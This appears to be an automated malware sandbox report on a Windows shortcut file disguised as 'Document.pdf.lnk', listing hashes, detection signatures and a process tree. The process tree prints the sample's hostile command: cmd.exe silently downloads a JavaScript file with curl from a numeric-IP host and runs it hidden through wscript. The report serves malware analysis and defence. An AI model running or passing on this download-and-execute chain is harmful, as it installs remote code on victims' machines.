Analysis
- max time kernel
149s - max time network
94s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
23/04/2026, 14:01
Static task
static1
Behavioral task
behavioral1
Sample
Document.pdf.lnk
Resource
win10v2004-20260130-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
Document.pdf.lnk
Resource
win11-20260130-en
3 signatures
150 seconds
General
- Target Document.pdf.lnk
- Size 2KB
- Sample260423-rbjc1set4m
- SHA256 0a40a88a65dfcf450fcf21ca0782ad40b6a2910cf5f0ff4a27fa546db73e8e1e
- MD5 8deb03b5d903bb8d3d7fa87ca410c092
- SHA1 5a36e60f94c4baecaff2ba41e33fc0de2acee460
- SHA512 a11b7e61a42cba5ea26c68e8e8f1ce7b91eac9cace0103097e5f5da9d4bc5344d16db13a5fc52cbbeadd3760c7b7a8c4b0413a296f26d87b4fa1e6664c35bdf8
- TLSH T1D541D5152BD50734F7F28D7604B76B229537B815DAA94E2D819049CC1851611F839FBB
- MD5 SHA1 SHA512 TLSH
Score
3/10
Malware Config
Signatures
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3952 wrote to memory of 892 3952 cmd.exe 81 PID 892 wrote to memory of 3184 892 cmd.exe 82 PID 892 wrote to memory of 4092 892 cmd.exe 83
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Document.pdf.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:3952 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /d /q /c curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\j7b20.js" "http://3163160386/l/2e0b44/raw.js" & start "" /B wscript //B //Nologo "C:\Users\Admin\AppData\Local\Temp\j7b20.js"2⤵
- Suspicious use of WriteProcessMemory
PID:892 -
C:\Windows\system32\curl.execurl -s -L -o "C:\Users\Admin\AppData\Local\Temp\j7b20.js" "http://3163160386/l/2e0b44/raw.js"3⤵PID:3184
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C:\Windows\system32\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Local\Temp\j7b20.js"3⤵PID:4092
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